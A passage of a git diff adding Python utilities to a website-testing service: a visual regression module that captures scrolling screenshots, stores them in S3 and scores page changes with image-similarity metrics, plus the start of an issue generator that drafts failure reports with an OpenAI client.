document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # pausing videos - try: - videos = await page.querySelectorAll('video') - for vid in videos: - await page.evaluate('(vid) => vid.pause()', vid) - except Exception as e: - print(e) - - # mask all listed ids - if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': - ids = configs.get('mask_ids').split(',') - for id in ids: - try: - await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via id provided') - - - # mask all Global mask ids that are active - @sync_to_async - def get_active_global_masks(): - masks = Mask.objects.filter(active=True) - active_masks = [] - for mask in masks: - active_masks.append(mask.id) - return active_masks - - active_masks = await get_active_global_masks() - - for mask in active_masks: - try: - await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via global mask id provided') - - - # vertically concats two images - @sync_to_async - def add_images(im1, im2): - im1 = I.open(im1) - im2 = I.open(im2) - new_img = I.new('RGB', (im1.width, im1.height + im2.height)) - new_img.paste(im1, (0, 0)) - new_img.paste(im2, (0, im1.height)) - return new_img - - - # scroll one frame at a time and capture screenshot - final_img = None - image_array = [] - index = 0 - last_height = -1 - bottom = False - start_time = datetime.now() - while not bottom: - - # checking if maxed out time - if self.check_timeout(configs.get('timeout', 300), start_time): - break - - # scroll single frame - if index != 0: - await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs.get('min_wait_time', 10))) - - # get current position and compare to previous - new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") - height_diff = new_height - last_height - if height_diff > 20: - last_height = new_height - pic_id = uuid.uuid4() - - # interact with and wait for page to load - await page.mouse.move(0, 0) - await page.mouse.move(0, 100) - time.sleep(configs.get('min_wait_time', 10)) - - - # get screenshot - await page.screenshot({'path': f'{pic_id}.png'}) - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - - # adding new image to bottom of existing image (if not index = 0) - pic_id_2 = uuid.uuid4() - if index != 0 and final_img is not None: - new_img = await add_images(final_img, image) - new_img.save(f'{pic_id_2}.png') - os.remove(final_img) - final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') - else: - I.open(image).save(f'{pic_id_2}.png') - final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') - - # remove local copy - os.remove(image) - - index += 1 - - else: - bottom = True - - - remote_path = f'static/sites/{site.id}/{pic_id_2}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(final_img, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - - - # create image obj and add to list - img_obj = { - "index": 0, - "id": str(pic_id_2), - "url": image_url, - "path": remote_path, - } - - image_array.append(img_obj) - - # remove local copy - os.remove(final_img) - - - await driver.close() - - return image_array - - - - - - - - - - - def test(self, test, index=None): - """ - Compares each screenshot between the two scans and records - a score out of 100%. - - Compairsons used : - - Structral Similarity Index (ssim) - - PIL ImageChop Differences, Ratio - - cv2 ORB Brute-force Matcher, Ratio - - - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - # setup temp dirs - if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')): - os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}')) - - # temp root - temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}') - - # loop through and download each img in scan and compare it. - pre_scan_images = test.pre_scan.images - img_test_results = [] - scores = [] - i = 0 - - if index is not None: - pre_scan_images = [test.pre_scan.images[index]] - i = index - - for pre_img_obj in pre_scan_images: - - # getting pre_scan image - pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') - with open(pre_img_path, 'wb') as data: - s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data) - - # open with PIL Image library - pre_img = I.open(pre_img_path) - # convert to array - pre_img_array = numpy.array(pre_img) - - # getting post_scan image - try: - post_img_obj = test.post_scan.images[i] - except: - post_img_obj = None - - if post_img_obj is not None: - post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png') - with open(post_img_path, 'wb') as data: - s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data) - - # open with PIL Image library - post_img = I.open(post_img_path) - # convert to array - post_img_array = numpy.array(post_img) - - - # test images with PIL - def pil_score(pre_img, post_img): - try: - if (pre_img.mode != post_img.mode) \ - or (pre_img.size != post_img.size) \ - or (pre_img.getbands() != post_img.getbands()): - raise Exception('images are not comparable') - - # Generate diff image in memory. - diff_img = ImageChops.difference(pre_img, post_img) - - # Calculate difference as a ratio. - stat = ImageStat.Stat(diff_img) - diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 - pil_img_score = (100 - diff_ratio) - # print(f'PIL score -> {pil_img_score}') - return pil_img_score - - except Exception as e: - print(e) - - - # test with cv2 - def cv2_score(pre_img_array, post_img_array): - try: - orb = cv2.ORB_create() - - # detect keypoints and descriptors - kp_a, desc_a = orb.detectAndCompute(pre_img_array, None) - kp_b, desc_b = orb.detectAndCompute(post_img_array, None) - - # define the bruteforce matcher object - bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) - - # perform matches. - matches = bf.match(desc_a, desc_b) - - # Look for similar regions with distance < 20. (from 0 to 100) - similar_regions = [i for i in matches if i.distance < 20] - if len(matches) == 0: - cv2_img_score = 100 - else: - cv2_img_score = (len(similar_regions) / len(matches)) * 100 - # print(f'cv2 -> {cv2_img_score}') - - return cv2_img_score - - except Exception as e: - print(e) - - - - # test images - try: - img_score_tupple = ssim(pre_img_array, post_img_array) - img_score_list = list(img_score_tupple) - ssim_img_score = statistics.fmean(img_score_list) * 100 - # print(f'ssim -> {ssim_img_score}') - - pil_img_score = pil_score(pre_img, post_img) - # print(f'pil -> {pil_img_score}') - - cv2_img_score = cv2_score(pre_img_array, post_img_array) - # print(f'cv2 -> {cv2_img_score}') - - img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8 - # print(f'img_score ==> {img_score}') - - except Exception as e: - print(e) - img_score = None - - # create img test obj and add to array - img_test_obj = { - "index": i, - "pre_img": pre_img_obj, - "post_img": post_img_obj, - "score": img_score, - } - - img_test_results.append(img_test_obj) - scores.append(img_score) - - # remove local copies - if post_img_obj is not None: - try: - os.remove(post_img_path) - except Exception as e: - print(e) - try: - os.remove(pre_img_path) - except Exception as e: - print(e) - - i += 1 - - # remove temp dir - shutil.rmtree(temp_root) - - # averaging scores and storing in images_delta obj - try: - avg_score = statistics.fmean(scores) - except: - avg_score = None - - images_delta = { - "average_score": avg_score, - "images": img_test_results, - } - - return images_delta - - - - - - - - def screenshot(self, site=None, url=None, configs=None, driver=None): - """ - Grabs single screenshot of the website and uploads - it to s3. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - if not configs: - configs = { - "interval": 5, - "window_size": "1920,1080", - "max_wait_time": 60, - "min_wait_time": 10, - "device": "desktop" - } - - # initialize driver if not passed as param - if not driver: - driver = driver_init(window_size=configs.get('window_size', '1920,1080'), device=configs.get('device')) - - - # get or create site data - if site is None: - site_id = uuid.uuid4() - site_url = url - else: - site_id = site.id - site_url = site.site_url - - # request site_url - driver.get(site_url) - - - # wait for site to fully load - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - # grab screenshot - pic_id = uuid.uuid4() - driver.save_screenshot(f'{pic_id}.png') - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - remote_path = f'static/sites/{site_id}/{pic_id}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(image, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - # remove local copy - os.remove(image) - - # create image obj and add to list - img_obj = { - "id": str(pic_id), - "url": image_url, - "path": remote_path, - } - - # quit driver - quit_driver(driver) - - return img_obj - - - - async def screenshot_p(self, site=None, url=None, configs=None): - """ - Using Puppeteer, grabs single screenshot of the website and uploads - it to s3. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - if not configs: - configs = { - "interval": 5, - "driver": "puppeteer", - "device": "desktop", - "window_size": "1920,1080", - "max_wait_time": 60, - "min_wait_time": 10 - } - - driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) - page = await driver.newPage() - - sizes = configs.get('window_size', '1920,1080').split(',') - is_mobile = False - if configs.get('device') == 'mobile': - is_mobile = True - - page_options = { - 'waitUntil': 'networkidle0', - 'timeout': configs.get('max_wait_time', 30)*1000 - } - - viewport = { - 'width': int(sizes[0]), - 'height': int(sizes[1]), - 'isMobile': is_mobile, - } - - userAgent = ( - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" - ) - - emulate_options = { - 'viewport': viewport, - 'userAgent': userAgent - } - - if configs.get('device') == 'mobile': - await page.emulate(emulate_options) - else: - await page.setViewport(viewport) - - # get or create site data - if site is None: - site_id = uuid.uuid4() - site_url = url - else: - site_id = site.id - site_url = site.site_url - - # request site_url - await page.goto(site_url, page_options) - - # interact with and wait for page to load - await page.mouse.move(0, 0) - await page.mouse.move(0, 100) - time.sleep(configs.get('min_wait_time', 10)) - - # get screenshot - pic_id = uuid.uuid4() - await page.screenshot({'path': f'{pic_id}.png'}) - await driver.close() - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - remote_path = f'static/sites/{site_id}/{pic_id}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(image, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - # remove local copy - os.remove(image) - - # create image obj and add to list - img_obj = { - "id": str(pic_id), - "url": image_url, - "path": remote_path, - } - - return img_obj \ No newline at end of file diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py new file mode 100644 index 00000000..bf3ba480 --- /dev/null +++ b/app/api/utils/imager.py @@ -0,0 +1,632 @@ +from .driver import driver_init, driver_wait, quit_driver +from ..models import Site, Scan, Test, Mask +from skimage.metrics import structural_similarity +from scanerr import settings +from PIL import Image as I, ImageChops, ImageStat +from datetime import datetime +from asgiref.sync import sync_to_async +import time, os, sys, json, uuid, boto3, \ + statistics, shutil, numpy, cv2 + + + + + + +class Imager(): + """ + High level Image handler used to compare screenshots of + a website. + + Also known as VRT or Visual Regression Testing. + Contains two methods scan() & test(): + + def scan_vrt(driver=None) -> using selenium + grabs multiple screenshots of the website + and uploads them to s3. + + def test_vrt(test=) -> compares each + screenshot in the two scans and records + a score out of 100% + """ + + + + + def __init__(self, scan: object=None): + + # main scan object + self.scan = scan + + # main image_array for scans + self.image_array = [] + + # setup boto3 configurations + self.s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # scripts + self.pause_video_script = ( + """ + document.querySelectorAll('video').forEach(vid => vid.pause()); + document.querySelectorAll('video').forEach(vid => vid.currentTime=0); + """ + ) + self.set_jquery = ( + """ + var jq = document.createElement('script'); + jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"; + document.getElementsByTagName('head')[0].appendChild(jq); + """ + ) + self.pause_animations_script = ( + """ + const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag'); + const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}'); + styleElement.appendChild(styleTagCSSes); + document.head.appendChild(styleElement); + """ + ) + + + + + def check_timeout(self, timeout: int, start_time: str) -> bool: + """ + Checks to see if the current time exceedes the alotted timeout. + + Returns -> True if timeout exceeded + """ + current = datetime.now() + diff = current - start_time + if diff.total_seconds() >= int(timeout): + print('exceeded timeout') + return True + else: + return False + + + + + def add_images(self, im1: object, im2: object) -> object: + """ + Joins img1 and im2 vertically and saves as "new_img" + + Returns -> new_img + """ + im1 = I.open(im1) + im2 = I.open(im2) + new_img = I.new('RGB', (im1.width, im1.height + im2.height)) + new_img.paste(im1, (0, 0)) + new_img.paste(im2, (0, im1.height)) + return new_img + + + + + def save_image(self, pic_id: str, image: object) -> None: + """ + Upload image to s3, save info as image_obj, + add image_obj to image_array, & remove image file + + Returns -> None + """ + remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + + # create image obj and add to list + img_obj = { + "index": 0, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + self.image_array.append(img_obj) + + print(f'adding {img_obj["url"]} to image_array') + + # remove local copy + os.remove(image) + + return None + + + + + def scan_vrt(self, driver: object=None) -> list: + """ + Grabs full length screenshots of the website and uploads + them to s3. + + Expects: { + 'driver': object + } + + Returns -> self.image_array list + """ + + # initialize driver if not passed as param + driver_present = True + if not driver: + driver = driver_init( + browser=self.scan.configs.get('browser', 'chrome'), + window_size=self.scan.configs.get('window_size', '1920,1080'), + device=self.scan.configs.get('device', 'desktop'), + ) + driver_present = False + + # request page_url + driver.get(self.scan.page.page_url) + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(self.scan.configs.get('interval', 5)), + min_wait_time=int(self.scan.configs.get('min_wait_time', 10)), + max_wait_time=int(self.scan.configs.get('max_wait_time', 30)), + ) + + # defining browser demesions + sizes = self.scan.configs.get('window_size', '1920,1080').split(',') + + # calculating and suto setting page height + if self.scan.configs.get('auto_height', True): + + # get scroll_height, client_height & set window_size + scroll_height = driver.execute_script("return document.documentElement.scrollHeight;") + client_height = driver.execute_script("return document.documentElement.clientHeight;") + + # trying to match "document.body.clientHeight" + # and "document.body.scrollHeight" + # iterate 3 times or untill height_diff is less than 20 + i = 0 + success = False + while not success and i < 4: + + # set window_size + driver.set_window_size(int(sizes[0]), (int(scroll_height))) + + # scroll down and up + driver.execute_script(f"window.scrollBy(0, {client_height});") + time.sleep(1) + driver.execute_script(f"window.scrollBy(0, -{client_height});") + + # get client & new scroll height + client_height = driver.execute_script("return document.documentElement.clientHeight;") + new_scroll_height = driver.execute_script("return document.documentElement.scrollHeight;") + + # get difference between full page height and new scrolled position + height_diff = int(new_scroll_height) - int(client_height) + + # re-set window size + print(f'adding {height_diff} to full_page_height') + scroll_height += height_diff if height_diff > 0 else 0 + + # checking difference + if height_diff < 20: + success = True + + # increment + i += 1 + + + if self.scan.configs.get('disable_animations') == True: + # inserting animation pausing script + try: + driver.execute_script(self.pause_animations_script) + except: + print('cannot pause animations') + + # inserting video pausing scripts + try: + driver.execute_script(self.pause_video_script) + except: + print('cannnot pause videos') + + # mask all listed ids + if self.scan.configs.get('mask_ids') is not None and self.scan.configs.get('mask_ids') != '': + ids = self.scan.configs.get('mask_ids').split(',') + for id in ids: + try: + driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + # mask all Global mask ids that are active + active_masks = Mask.objects.filter(active=True) + if len(active_masks) != 0: + for mask in active_masks: + try: + driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + # scroll one frame at a time and capture screenshot + final_img = None + index = 0 + last_height = -1 + bottom = False + start_time = datetime.now() + while not bottom: + + # checking if maxed out time + if self.check_timeout(self.scan.configs.get('timeout', 300), start_time): + break + + # scroll single frame if not first frame and not auto_height + if index != 0: + driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(self.scan.configs.get('min_wait_time', 10))) + + # get current position and compare to previous + new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + print(f'new_height => {new_height} | height_diff => {height_diff}') + + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(self.scan.configs.get('interval', 5)), + min_wait_time=int(self.scan.configs.get('min_wait_time', 10)), + max_wait_time=int(self.scan.configs.get('max_wait_time', 30)), + ) + + # get screenshot + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + + # resizing image to remove duplicate portions + if index != 0: + img = I.open(image) + width, height = img.size + left = 0 + top = height - ((height_diff/2)) # divide by 2 for "driver.scale_factor" + right = width + botm = height + new_img = img.crop((left, top, right, botm)) + new_img.save(image, quality=100) + + # adding new image to bottom of existing image (if not index = 0) + pic_id_2 = uuid.uuid4() + if index != 0 and final_img is not None: + self.add_images(final_img, image).save(f'{pic_id_2}.png') + os.remove(final_img) + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + else: + I.open(image).save(f'{pic_id_2}.png') + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + + os.remove(image) + index += 1 + + else: + bottom = True + + # saving image + self.save_image(pic_id=pic_id_2, image=final_img) + + # clean up + if not driver_present: + quit_driver(driver) + + # return images + return self.image_array + + + + + def test_vrt(self, test: object, index: int=None) -> dict: + """ + Compares each screenshot between the two scans and records + a score out of 100%. + + Compairsons used : + - Structral Similarity Index (ssim) + - PIL ImageChop Differences, Ratio + - cv2 ORB Brute-force Matcher, Ratio + + Expects: { + 'test': object, + 'index': int, + } + + Returns -> data: { + 'average_score' : float(0-100), + 'images' : dict, + } + """ + + # setup temp dirs + if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')): + os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}')) + + # temp root + temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}') + + # loop through and download each img in scan and compare it. + pre_scan_images = test.pre_scan.images + img_test_results = [] + scores = [] + i = 0 + + if index is not None: + pre_scan_images = [test.pre_scan.images[index]] + i = index + + # catching user error when scan_type + # did not include 'vrt' + if pre_scan_images is None: + images_delta = { + "average_score": None, + "images": None, + } + return images_delta + + + for pre_img_obj in pre_scan_images: + + # getting pre_scan image + pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') + with open(pre_img_path, 'wb') as data: + self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data) + + # getting post_scan image + try: + post_img_obj = test.post_scan.images[i] + except: + post_img_obj = None + + if post_img_obj is not None: + post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png') + with open(post_img_path, 'wb') as data: + self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data) + + # open images with PIL Image library + post_img = I.open(post_img_path) + pre_img = I.open(pre_img_path) + + # check and reformat image sizes if necessary + pre_img_w, pre_img_h = pre_img.size + post_img_w, post_img_h = post_img.size + + # pre_img is longer + if pre_img_h > post_img_h: + print(f'pre_img is larger, adjusting...') + new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h)).convert(mode=post_img.mode) + new_pre_img.save(pre_img_path, quality=100) + pre_img = I.open(pre_img_path) + # post_img is longer + if post_img_h > pre_img_h: + print(f'post_img is larger, adjusting...') + new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h)).convert(mode=pre_img.mode) + new_post_img.save(post_img_path, quality=100) + post_img = I.open(post_img_path) + + + # build two new images with differences highlighted + def highlight_diffs(pre_img_path, post_img_path, index): + ''' + Returns -> two new images with highlights & float(ssim_score) + ''' + # Load the images + image1 = cv2.imread(pre_img_path) + image2 = cv2.imread(post_img_path) + + # Convert the images to grayscale + gray1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY) + gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY) + + # Compute the SSIM map + (ssim_score, diff) = structural_similarity(gray1, gray2, full=True) + + # Highlight the differences + diff = (diff * 255).astype("uint8") + + # Threshold the difference map + _, thresh = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU) + + # Find contours of the differences + contours, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) + + # Draw rectangles around the differences + for contour in contours: + (x, y, w, h) = cv2.boundingRect(contour) + cv2.rectangle(image1, (x, y), (x+w, y+h), (0, 255, 0), 2) + cv2.rectangle(image2, (x, y), (x+w, y+h), (0, 255, 0), 2) + + # Save the output images + img_1_id = uuid.uuid4() + img_2_id = uuid.uuid4() + cv2.imwrite(temp_root + f"/{img_1_id}.png", image1) + cv2.imwrite(temp_root + f"/{img_2_id}.png", image2) + img_objs = save_images(img_1_id, img_2_id, index) + + data = { + "img_objs": img_objs, + "ssim_score": ssim_score + } + + return data + + + # saving old images to new test.id path + def save_images(pre_img_id, post_img_id, index): + image_ids = [pre_img_id, post_img_id] + img_objs = [] + for img_id in image_ids: + image = os.path.join(temp_root, f'{img_id}.png') + remote_path = f'static/sites/{test.page.site.id}/{test.page.id}/{test.id}/{img_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + + # building img obj + obj = { + "id": str(img_id), + "url": image_url, + "path": remote_path, + "index": index, + } + img_objs.append(obj) + + return img_objs + + + # test images with PIL + def pil_score(pre_img, post_img): + try: + if (pre_img.mode != post_img.mode) \ + or (pre_img.size != post_img.size) \ + or (pre_img.getbands() != post_img.getbands()): + raise Exception('images are not comparable') + + # Generate diff image in memory. + diff_img = ImageChops.difference(pre_img, post_img) + + # Calculate difference as a ratio. + stat = ImageStat.Stat(diff_img) + diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 + pil_img_score = (100 - diff_ratio) + # print(f'PIL score -> {pil_img_score}') + return pil_img_score + + except Exception as e: + print(e) + + + # test with cv2 + def cv2_score(pre_img, post_img): + try: + orb = cv2.ORB_create() + + # convert to array + pre_img_array = numpy.array(pre_img) + post_img_array = numpy.array(post_img) + + # detect keypoints and descriptors + kp_a, desc_a = orb.detectAndCompute(pre_img_array, None) + kp_b, desc_b = orb.detectAndCompute(post_img_array, None) + + # define the bruteforce matcher object + bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) + + # perform matches. + matches = bf.match(desc_a, desc_b) + + # Look for similar regions with distance < 20. (from 0 to 100) + similar_regions = [i for i in matches if i.distance < 20] + if len(matches) == 0: + cv2_img_score = 100 + else: + cv2_img_score = (len(similar_regions) / len(matches)) * 100 + # print(f'cv2 -> {cv2_img_score}') + + return cv2_img_score + + except Exception as e: + print(e) + + + + # test images + try: + # generating new highlighted images and score via ssim + ssim_results = highlight_diffs(pre_img_path, post_img_path, i) + pre_img_diff = ssim_results['img_objs'][0] + post_img_diff = ssim_results['img_objs'][1] + + # ssim scoring + ssim_img_score = ssim_results['ssim_score'] * 100 + + # pillow scoring + pil_img_score = pil_score(pre_img, post_img) + + # pixel perfect scoring + cv2_img_score = cv2_score(pre_img, post_img) + + # weighted average + img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8 + + # saving old images to test.id path + old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i) + pre_img = old_imgs[0] + post_img = old_imgs[1] + + except Exception as e: + print(e) + img_score = None + pre_img = None + post_img = None + pre_img_diff = None + post_img_diff = None + + # create img test obj and add to array + img_test_obj = { + "index": i, + "pre_img": pre_img, + "post_img": post_img, + "pre_img_diff": pre_img_diff, + "post_img_diff": post_img_diff, + "score": img_score, + } + + img_test_results.append(img_test_obj) + scores.append(img_score) + + # remove local copies + if post_img_obj is not None: + try: + os.remove(post_img_path) + except Exception as e: + print(e) + try: + os.remove(pre_img_path) + except Exception as e: + print(e) + + i += 1 + + # remove temp dir + shutil.rmtree(temp_root) + + # averaging scores and storing in images_delta obj + try: + avg_score = statistics.fmean(scores) + except: + avg_score = None + + # formatting response + images_delta = { + "average_score": avg_score, + "images": img_test_results, + } + + # returning response + return images_delta + + + + + diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py new file mode 100644 index 00000000..ac659bf7 --- /dev/null +++ b/app/api/utils/issuer.py @@ -0,0 +1,269 @@ +from ..models import * +from scanerr import settings +from openai import OpenAI +import time, os, json, uuid, random, boto3 + + + + + + +class Issuer(): + """ + Generate new `Issue` for the passed 'test' or 'testcase'. + + Expects: { + 'test' : object, + 'testcase' : object, + } + + Use `Issuer.build_issue()` to generate new `Issue` + + Returns -> None + """ + + + + + def __init__( + self, + test: object=None, + testcase: object=None, + ): + + # main objects + self.test = test + self.testcase = testcase + + # init GPT client + self.gpt_client = OpenAI( + api_key=settings.GPT_API_KEY, + ) + + + + + def build_issue(self): + """ + Creates a new `Issue` based on the info + from the passed "self.test" or "self.testcase" + + Expects: None + + Returns -> `Issue` + """ + + # defining top level attrs + title = None + details = None + labels = None + account = self.test.page.account if self.test else self.testcase.account + trigger = { + 'type': 'test' if self.test else 'testcase', + 'id': str(self.test.id) if self.test else str(self.testcase.id) + } + affected = { + 'type': 'page' if self.test else 'site', + 'id': str(self.test.page.id) if self.test else str(self.testcase.site.id), + 'str': self.test.page.page_url if self.test else self.testcase.site.site_url + } + + # defining detail components + intro = '' + main_issue = '' + recommendation = '' + + # building details, title, & labels + # for testcase failure + if self.testcase: + + # get first step that failed in testcase + failed_step = None + step_index = 0 + step_type = 'action' + for step in self.testcase.steps: + step_index += 1 + if step['action']['status'] == 'failed': + failed_step = step + step_type = 'action' + break + if step['assertion']['status'] == 'failed': + failed_step = step + step_type = 'assertion' + break + + # build title + title = f'Testcase "{self.testcase.case_name}" Failed' + + # build intro + intro = str( + f'Testcase [{self.testcase.case_name}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + + f' failed on **Step {step_index}**, `{failed_step[step_type]["type"]}`.\n\n\n' + + f' **Affected Site:** [{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]})\n\n\n' + ) + + # build main_issue + main_issue = str( + f'### Main Issue or Exception:\n' + + f' ```shell\n{failed_step[step_type]["exception"]}\n``` \n\n' + + f' [View Image]({failed_step[step_type]["image"]})\n\n' + ) + + # build recommendation + response = self.build_recommendation( + details = str(intro + main_issue) + ) + recommendation = str( + f'\n\n### Recommendations:\n' + + f'{response}' + ) + + # building details, title, & labels + # for test failure + if self.test: + + # grabbing component scores + # which were less than the test.threshold + ordered_scores = [] + for key in self.test.component_scores: + if self.test.component_scores[key] is not None: + if self.test.component_scores[key] < self.test.threshold: + ordered_scores.append({key: self.test.component_scores[key]}) + + # build components str + comp_str = str('| Component | Score |\n|:-----|-----:|') + for score in ordered_scores: + for key in score: + comp_str += f'\n| {key} | {round(score[key], 2)} |' + + # adjusting component names in table + comp_str = comp_str.replace( + 'vrt', + 'visual regression (vrt)' + ).replace( + 'html', + 'html regression (html)' + ) + + # build title + title = f'Test Failed at {round(self.test.score, 2)}%' + + # build intro + intro = str( + f'[Test]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]}) failed for the page ' + + f'[{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]}) ' + + f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n' + ) + + # build main_issue + main_issue = str( + 